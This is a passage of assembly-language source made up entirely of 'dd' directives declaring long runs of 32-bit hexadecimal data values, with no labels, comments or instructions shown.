0D1BE5355h dd 1BEC80E8h, 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh dd 6132B9C6h, 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h dd 50C18624h, 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h dd 9DBFFB83h, 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h dd 14030F3Bh, 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh dd 0FEE340A6h, 89F400E3h, 2EBF804h, 0C800C031h, 0BF841090h dd 0C970F1h, 3C7FB12Bh, 1A961130h, 41D24124h, 3DA5C100h dd 7F349455h, 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h dd 0C0F9D101h, 7C5D81C7h, 4CD701E2h, 8DF42F65h, 0DFCBFCFEh dd 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh dd 91005ADCh, 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h dd 1B04E57Ch, 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h dd 7CD28580h, 0B58AFA12h, 750B7800h, 881E1C01h, 0E800318h dd 4A02C083h, 91EF51E0h, 60BD3A03h, 0D04BFCC8h, 3D49B13h dd 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh, 0DF013926h dd 30A58559h, 0C428C1EFh, 98C017D8h, 8E02007Ch, 6854A118h dd 0AC9083F6h, 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h dd 0A2900D66h, 4207D55Ch, 1A6CFD9Dh, 68D103F0h, 0C0322E24h dd 0C7C500EFh, 1F1EB5FFh, 1764DB00h, 5A8C5452h, 0E5A400A8h dd 34FB1056h, 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h dd 91590FEh, 8B005184h, 1CEEAA41h, 803108h, 9FA6C721h dd 7C86C2FFh, 9715C800h, 0B80D55F9h, 2FB90070h, 3E64B5E2h dd 20048D0h, 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh dd 830F3D05h, 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h dd 1F2F010Ch, 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h dd 0C1FE00E2h, 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh dd 48777EB8h, 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h dd 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h dd 7CF88F8h, 0B1E9EDA4h, 810FF9EEh, 0D77C6880h, 0E8001748h dd 0FD19E1F2h, 1560A1Dh, 463576DAh, 0DC2A5420h, 250310B2h dd 7475F8Bh, 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h dd 9D8B50CEh, 83184787h, 14D010F0h, 0D4D63C97h, 0B0FE880h dd 53D23E01h, 8A71CD00h, 0B78E13B9h, 26100027h, 164AAB95h dd 63EED84Eh, 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h dd 8435D337h, 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch dd 0A5606353h, 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h dd 58E14BECh, 0E244D2Ch, 56004441h, 5357AED6h, 0D83900FAh dd 68518376h dd 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh dd 0F0444007h, 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh dd 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h dd 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h, 7CA85DF0h dd 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h dd 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h, 40E06BBAh dd 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh dd 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh dd 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h dd 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh dd 2014510h, 2D4C6A30h, 0B09FC32Bh, 132C0732h, 121CF018h dd 11C1D08h, 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h, 53620B72h dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh, 852120h dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h, 3B83FC80h dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h dd 24F50774h, 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h dd 8CFE89h, 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh dd 173936E9h, 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh dd 2AC31000h, 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh dd 0AC09B93Fh, 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h dd 5E1D0064h, 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h dd 2833B32h, 3E92042Ch, 3B66A080h, 7127506h, 76C98500h dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h dd 0F01F84h, 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch dd 80792075h, 1757D054h, 11001993h, 0D2515303h, 0A04D14h dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h dd 522228DCh, 0A11392F0h dd 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h dd 4300EC90h, 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh dd 792A4D6h, 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h dd 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh dd 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h dd 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h, 22431AFDh dd 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h, 6F8B29DEh dd 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h dd 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h, 7B80BE1Eh dd 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah, 46FE2D42h dd 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h dd 80E7438h, 4254C730h, 17AF9770h, 3F59FA90h, 0EC00F7F0h dd 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h, 53A22F3Eh dd 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah, 1AA80796h dd 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh, 6570E776h dd 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h dd 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h, 55455900h dd 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h dd 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h, 7367650Eh dd 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h dd 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h dd 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h dd 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h, 6F3ED5EFh dd 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h, 0F7A0D81Eh dd 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h dd 107D865h, 0C7D8051h, 0BBF27F50h, 5AEB0039h, 1FE81A03h dd 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h dd 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h dd 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h dd 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah, 6741526h dd 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h dd 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh dd 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h dd 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh dd 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h dd 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h dd 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h dd 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh dd 84002065h, 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh dd 190507Fh, 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h, 4B011029h dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh dd 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh dd 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h dd 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh, 16EC89h dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh dd 96C0A938h dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh dd 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h dd 0FEF28Fh, 736B6FF2h, 8CAA5524h, 8E749001h, 5E9219A7h dd 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h dd 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h dd 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h dd 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh dd 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh dd 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h dd 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h dd 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh, 0C62D30h dd 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h dd 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h dd 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h, 4402652Ah dd 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh, 0B3262D45h dd 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h dd 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh dd 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h dd 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh, 0D200AAB7h dd 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h, 3E988ACBh dd 802113h, 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh dd 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h dd 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch dd 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh dd 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh dd 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h dd 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h dd 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch, 0D044CF07h dd 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh, 18465698h dd 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h dd 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h dd 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h dd 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h dd 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah dd 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h dd 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h dd 3465401h, 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh dd 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh dd 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h dd 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h dd 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h dd 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h dd 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh dd 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h dd 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h dd 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h dd 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h dd 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h dd 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h dd 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h dd 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h dd 0E79117h, 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh dd 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h dd 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh dd 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h dd 388712h, 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh dd 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h dd 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h dd 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh dd 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h dd 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh dd 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h dd 22759166h, 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h dd 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h dd 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h dd 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh dd 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h dd 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h dd 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h dd 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h dd 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h dd 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h dd 5FD5BD1h, 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h dd 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh dd 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h dd 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh dd 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h dd 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh dd 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h dd 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch dd 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h dd 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh dd 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h dd 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh dd 662230EBh, 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h dd 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h dd 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h, 31382433h dd 80522831h, 54E41940h, 87C99h, 144B2C11h, 7955A41Ah dd 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh dd 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h dd 400D50Ch, 62BEE0DEh, 8153A0h, 